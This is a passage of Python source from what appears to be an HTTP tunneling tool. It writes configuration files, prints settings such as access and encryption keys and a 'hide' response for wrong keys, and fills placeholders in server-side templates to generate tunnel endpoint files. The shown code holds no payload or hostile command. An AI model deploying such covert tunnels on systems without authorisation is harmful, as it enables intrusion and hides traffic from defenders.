self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorInvalidRequest', self.responseStringErrorInvalidRequest, '%s') 662 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionNotFound', self.responseStringErrorConnectionNotFound, '%s') 663 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionOpenFailed', self.responseStringErrorConnectionOpenFailed, '%s') 664 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionCloseFailed', self.responseStringErrorConnectionCloseFailed, '%s') 665 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionSendFailed', self.responseStringErrorConnectionSendFailed, '%s') 666 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorConnectionReceiveFailed', self.responseStringErrorConnectionReceiveFailed, '%s') 667 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorDecryptFailed', self.responseStringErrorDecryptFailed, '%s') 668 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorEncryptFailed', self.responseStringErrorEncryptFailed, '%s') 669 | self.WriteIfPresent(parameterHashtable, f, 'responseStringErrorEncryptionNotSupported', self.responseStringErrorEncryptionNotSupported, '%s') 670 | self.WriteIfPresent(parameterHashtable, f, 'responseStringPrefixB64', self.responseStringPrefixB64, '%s') 671 | self.WriteIfPresent(parameterHashtable, f, 'responseStringSuffixB64', self.responseStringSuffixB64, '%s') 672 | self.WriteIfPresent(parameterHashtable, f, 'logFilePath', self.logFilePath, '%s') 673 | self.WriteIfPresent(parameterHashtable, f, 'fileGenerationAppNameShort', self.fileGenerationAppNameShort, '%s') 674 | self.WriteIfPresent(parameterHashtable, f, 'writeToLog', self.writeToLog, '%s') 675 | self.WriteIfPresent(parameterHashtable, f, 'writeToStandardOut', self.writeToStandardOut, '%s') 676 | self.WriteIfPresent(parameterHashtable, f, 'echoData', self.echoData, '%s') 677 | self.WriteIfPresent(parameterHashtable, f, 'echoHTTPBody', self.echoHTTPBody, '%s') 678 | self.WriteIfPresent(parameterHashtable, f, 'echoDebugMessages', self.echoDebugMessages, '%s') 679 | self.WriteIfPresent(parameterHashtable, f, 'autoscaleClientSocketTimeout', self.autoscaleClientSocketTimeout, '%s') 680 | self.WriteIfPresent(parameterHashtable, f, 'statsUpdateIterations', self.statsUpdateIterations, '%i') 681 | self.WriteIfPresent(parameterHashtable, f, 'clientToServerBlockSize', self.clientToServerBlockSize, '%i') 682 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketBufferSize', self.clientSocketBufferSize, '%i') 683 | self.WriteIfPresent(parameterHashtable, f, 'clientBlockSizeLimitFromServer', self.clientBlockSizeLimitFromServer, '%i') 684 | self.WriteIfPresent(parameterHashtable, f, 'useIPV6ClientSocketOnServer', self.useIPV6ClientSocketOnServer, '%s') 685 | self.WriteIfPresent(parameterHashtable, f, 'serverToClientBlockSize', self.serverToClientBlockSize, '%i') 686 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketMaxUnusedIterations', self.serverSocketMaxUnusedIterations, '%i') 687 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketIOTimeout', self.serverSocketIOTimeout, '%i') 688 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketSendBufferSize', self.serverSocketSendBufferSize, '%i') 689 | self.WriteIfPresent(parameterHashtable, f, 'serverSocketReceiveBufferSize', self.serverSocketReceiveBufferSize, '%i') 690 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutBase', self.clientSocketTimeoutBase, '%f') 691 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutVariation', self.clientSocketTimeoutVariation, '%f') 692 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutScalingMultiplier', self.clientSocketTimeoutScalingMultiplier, '%f') 693 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutMax', self.clientSocketTimeoutMax, '%f') 694 | self.WriteIfPresent(parameterHashtable, f, 'clientSocketTimeoutMin', self.clientSocketTimeoutMin, '%f') 695 | self.WriteIfPresent(parameterHashtable, f, 'clientBlockTransmitSleepTime', self.clientBlockTransmitSleepTime, '%f') 696 | f.close() 697 | self.OutputHandler.outputMessage('Created client configuration file "%s"' % (outputFilePath)) 698 | except Exception as e: 699 | self.OutputHandler.outputMessage('Error writing to "%s" - %s' % (outputFilePath, e)) 700 | 701 | def LoadParameters(self, parameterFileArray, warnOnOverride): 702 | parameterHashtable = {} 703 | for pf in parameterFileArray: 704 | parameterHashtable = self.GetConfigFileData(parameterHashtable, pf, warnOnOverride) 705 | self.GetParametersFromHashtable(parameterHashtable) 706 | return parameterHashtable 707 | 708 | def ShowParameters(self): 709 | self.OutputHandler.outputMessage('HTTP Request Header Name for Access Key: %s' % self.headerNameKey) 710 | self.OutputHandler.outputMessage('Access Key: %s' % self.headerValueKey) 711 | self.OutputHandler.outputMessage('Encryption Key: %s' % self.encryptionKeyHex) 712 | self.OutputHandler.outputMessage('HTTP User-Agent Request Header Value: %s' % self.headerValueUserAgent) 713 | self.OutputHandler.outputMessage('Send Access Key As: %s' % self.accessKeyMode) 714 | self.OutputHandler.outputMessage('Request Body Parameter Name for Access Key: %s' % self.paramNameAccessKey) 715 | self.OutputHandler.outputMessage('Request Body Parameter Name for Operation Type: %s' % self.paramNameOperation) 716 | self.OutputHandler.outputMessage('Request Body Parameter Name for Destination Host: %s' % self.paramNameDestinationHost) 717 | self.OutputHandler.outputMessage('Request Body Parameter Name for Destination Port: %s' % self.paramNameDestinationPort) 718 | self.OutputHandler.outputMessage('Request Body Parameter Name for Connection ID: %s' % self.paramNameConnectionID) 719 | self.OutputHandler.outputMessage('Request Body Parameter Name for Tunneled Data: %s' % self.paramNameData) 720 | self.OutputHandler.outputMessage('Request Body Parameter Name for Plaintext Request Block: %s' % self.paramNamePlaintextBlock) 721 | self.OutputHandler.outputMessage('Request Body Parameter Name for Encrypted Request Block: %s' % self.paramNameEncryptedBlock) 722 | self.OutputHandler.outputMessage('Encapsulated Request Body Base64-Encoded Name/Value Separator: %s' % self.dataBlockNameValueSeparatorB64) 723 | self.OutputHandler.outputMessage('Encapsulated Request Body Base64-Encoded Parameter Separator: %s' % self.dataBlockParamSeparatorB64) 724 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Open Connection": %s' % self.opModeStringOpenConnection) 725 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Send/Receive": %s' % self.opModeStringSendReceive) 726 | self.OutputHandler.outputMessage('Request Body Parameter Value for Operation "Close Connection": %s' % self.opModeStringCloseConnection) 727 | self.OutputHandler.outputMessage('Response Code for "Incorrect Access Key (Hide)": %s' % self.responseStringHide) 728 | self.OutputHandler.outputMessage('Response Code for "Connection Created": %s' % self.responseStringConnectionCreated) 729 | self.OutputHandler.outputMessage('Response Code for "Connection Closed": %s' % self.responseStringConnectionClosed) 730 | self.OutputHandler.outputMessage('Response Prefix for Tunneled Data: %s' % self.responseStringData) 731 | self.OutputHandler.outputMessage('Response Code for "No Data to Send": %s' % self.responseStringNoData) 732 | self.OutputHandler.outputMessage('Response Code for "Generic Error": %s' % self.responseStringErrorGeneric) 733 | self.OutputHandler.outputMessage('Response Code for "Invalid Request": %s' % self.responseStringErrorInvalidRequest) 734 | self.OutputHandler.outputMessage('Response Code for "Connection Not Found": %s' % self.responseStringErrorConnectionNotFound) 735 | self.OutputHandler.outputMessage('Response Code for "Failed to Open Connection": %s' % self.responseStringErrorConnectionOpenFailed) 736 | self.OutputHandler.outputMessage('Response Code for "Failed to Close Connection": %s' % self.responseStringErrorConnectionCloseFailed) 737 | self.OutputHandler.outputMessage('Response Code for "Failed to Send Data (Server-Side)": %s' % self.responseStringErrorConnectionSendFailed) 738 | self.OutputHandler.outputMessage('Response Code for "Failed to Receive Data (Server-Side)": %s' % self.responseStringErrorConnectionReceiveFailed) 739 | self.OutputHandler.outputMessage('Response Code for "Decryption Failure": %s' % self.responseStringErrorDecryptFailed) 740 | self.OutputHandler.outputMessage('Response Code for "Encryption Failure": %s' % self.responseStringErrorEncryptFailed) 741 | self.OutputHandler.outputMessage('Response Code for "Encryption Not Supported": %s' % self.responseStringErrorEncryptionNotSupported) 742 | self.OutputHandler.outputMessage('Base64-Encoded Response Prefix: %s' % self.responseStringPrefixB64) 743 | self.OutputHandler.outputMessage('Base64-Encoded Response Suffix: %s' % self.responseStringSuffixB64) 744 | self.OutputHandler.outputMessage('Log File Path: %s' % self.logFilePath) 745 | self.OutputHandler.outputMessage('Application Name: %s' % self.fileGenerationAppNameShort) 746 | self.OutputHandler.outputMessage('Write to Log File: %s' % self.writeToLog) 747 | self.OutputHandler.outputMessage('Write to Standard Output: %s' % self.writeToStandardOut) 748 | self.OutputHandler.outputMessage('Output Raw Tunneled Data: %s' % self.echoData) 749 | self.OutputHandler.outputMessage('Output HTTP Request/Response Bodies: %s' % self.echoHTTPBody) 750 | self.OutputHandler.outputMessage('Output Debugging Messages: %s' % self.echoDebugMessages) 751 | self.OutputHandler.outputMessage('Automatically Adjust Client Socket Timeout: %s' % self.autoscaleClientSocketTimeout) 752 | self.OutputHandler.outputMessage('Request/Response Iterations Between Tunneled Data Statistics Output: %i' % self.statsUpdateIterations) 753 | self.OutputHandler.outputMessage('Maximum Number of Bytes for Server to Return to Client Component With Each Send/Receive Operation: %i bytes' % self.clientToServerBlockSize) 754 | self.OutputHandler.outputMessage('Client Socket Buffer Size: %i bytes' % self.clientSocketBufferSize) 755 | self.OutputHandler.outputMessage('Block Size for Retransmission to Clients: %i bytes' % self.clientBlockSizeLimitFromServer) 756 | self.OutputHandler.outputMessage('Sleep Time Between Client Socket Blocks: %f seconds' % self.clientBlockTransmitSleepTime) 757 | self.OutputHandler.outputMessage('Base Client Socket Timeout: %f seconds' % self.clientSocketTimeoutBase) 758 | self.OutputHandler.outputMessage('Client Socket Timeout Variation Range: %f' % self.clientSocketTimeoutVariation) 759 | self.OutputHandler.outputMessage('Client Socket Timeout Scaling Multiplier: %f' % self.clientSocketTimeoutScalingMultiplier) 760 | self.OutputHandler.outputMessage('Client Socket Maximum Timeout: %f' % self.clientSocketTimeoutMax) 761 | self.OutputHandler.outputMessage('Client Socket Minimum Timeout: %f' % self.clientSocketTimeoutMin) 762 | self.OutputHandler.outputMessage('Maximum Number of Bytes for Server to Return to Client Component With Each Send/Receive Operation: %i' % self.serverToClientBlockSize) 763 | self.OutputHandler.outputMessage('Maximum Unused Request/Response Iterations Before Abandoning Server-Side Socket: %i' % self.serverSocketMaxUnusedIterations) 764 | self.OutputHandler.outputMessage('Use IPv6 for Server-Side Client Sockets (See Documentation): %s' % self.useIPV6ClientSocketOnServer) 765 | self.OutputHandler.outputMessage('Server-Side Socket IO Timeout: %i milliseconds' % self.serverSocketIOTimeout) 766 | self.OutputHandler.outputMessage('Server-Side Socket Send Buffer Size: %i bytes' % self.serverSocketSendBufferSize) 767 | self.OutputHandler.outputMessage('Server-Side Socket Receive Buffer Size: %i bytes' % self.serverSocketReceiveBufferSize) 768 | 769 | @staticmethod 770 | def ReplacePlaceholderValue(content, parameterHashtable, parameterName): 771 | placeholder = '%PLACEHOLDER_' + parameterName + '%' 772 | return content.replace(placeholder, parameterHashtable[parameterName]) 773 | 774 | def GetFileAsString(self, inputFilePath): 775 | result = '' 776 | try: 777 | f = open(inputFilePath, 'rb') 778 | result = f.read() 779 | f.close() 780 | except Exception as e: 781 | outputHandler.outputMessage('Could not open the file "%s" - %s' % (inputFilePath, e)) 782 | result = '' 783 | return result 784 | 785 | def GenerateServerFileFromTemplate(self, templateDirectory, templateFileName, outputDirectory, parameterHashtable): 786 | templateFilePath = os.path.join(templateDirectory, templateFileName) 787 | outputFilePath = os.path.join(outputDirectory, templateFileName) 788 | templateContent = self.GetFileAsString(templateFilePath) 789 | if templateContent == "": 790 | self.OutputHandler.outputMessage('The template file "%s" could not be found, did not contain any content, or was not accessible to the current user, and no corresponding output file will be generated.' % (templateFilePath)) 791 | return 792 | outputFileContent = templateContent[:] 793 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'useIPV6ClientSocketOnServer') 794 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverToClientBlockSize') 795 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketMaxUnusedIterations') 796 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketIOTimeout') 797 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketSendBufferSize') 798 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'serverSocketReceiveBufferSize') 799 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'headerValueKey') 800 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'encryptionKeyHex') 801 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'headerNameKey') 802 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'accessKeyMode') 803 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameAccessKey') 804 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameOperation') 805 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameDestinationHost') 806 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameDestinationPort') 807 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameConnectionID') 808 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameData') 809 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNamePlaintextBlock') 810 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'paramNameEncryptedBlock') 811 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'dataBlockNameValueSeparatorB64') 812 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'dataBlockParamSeparatorB64') 813 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringOpenConnection') 814 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringSendReceive') 815 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'opModeStringCloseConnection') 816 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringHide') 817 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringConnectionCreated') 818 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringConnectionClosed') 819 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringData') 820 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringNoData') 821 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorGeneric') 822 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorInvalidRequest') 823 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionNotFound') 824 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionOpenFailed') 825 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionCloseFailed') 826 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionSendFailed') 827 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorConnectionReceiveFailed') 828 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorDecryptFailed') 829 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorEncryptFailed') 830 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringErrorEncryptionNotSupported') 831 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringPrefixB64') 832 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'responseStringSuffixB64') 833 | outputFileContent = self.ReplacePlaceholderValue(outputFileContent, parameterHashtable, 'fileGenerationAppNameShort') 834 | try: 835 | f = open(outputFilePath, 'wb') 836 | f.write(outputFileContent) 837 | f.close() 838 | self.OutputHandler.outputMessage('Created server file "%s"' % (outputFilePath)) 839 | except Exception as e: 840 | self.OutputHandler.outputMessage('Error: The output file file "%s" could not be created - %s' % (outputFilePath, e)) --------------------------------------------------------------------------------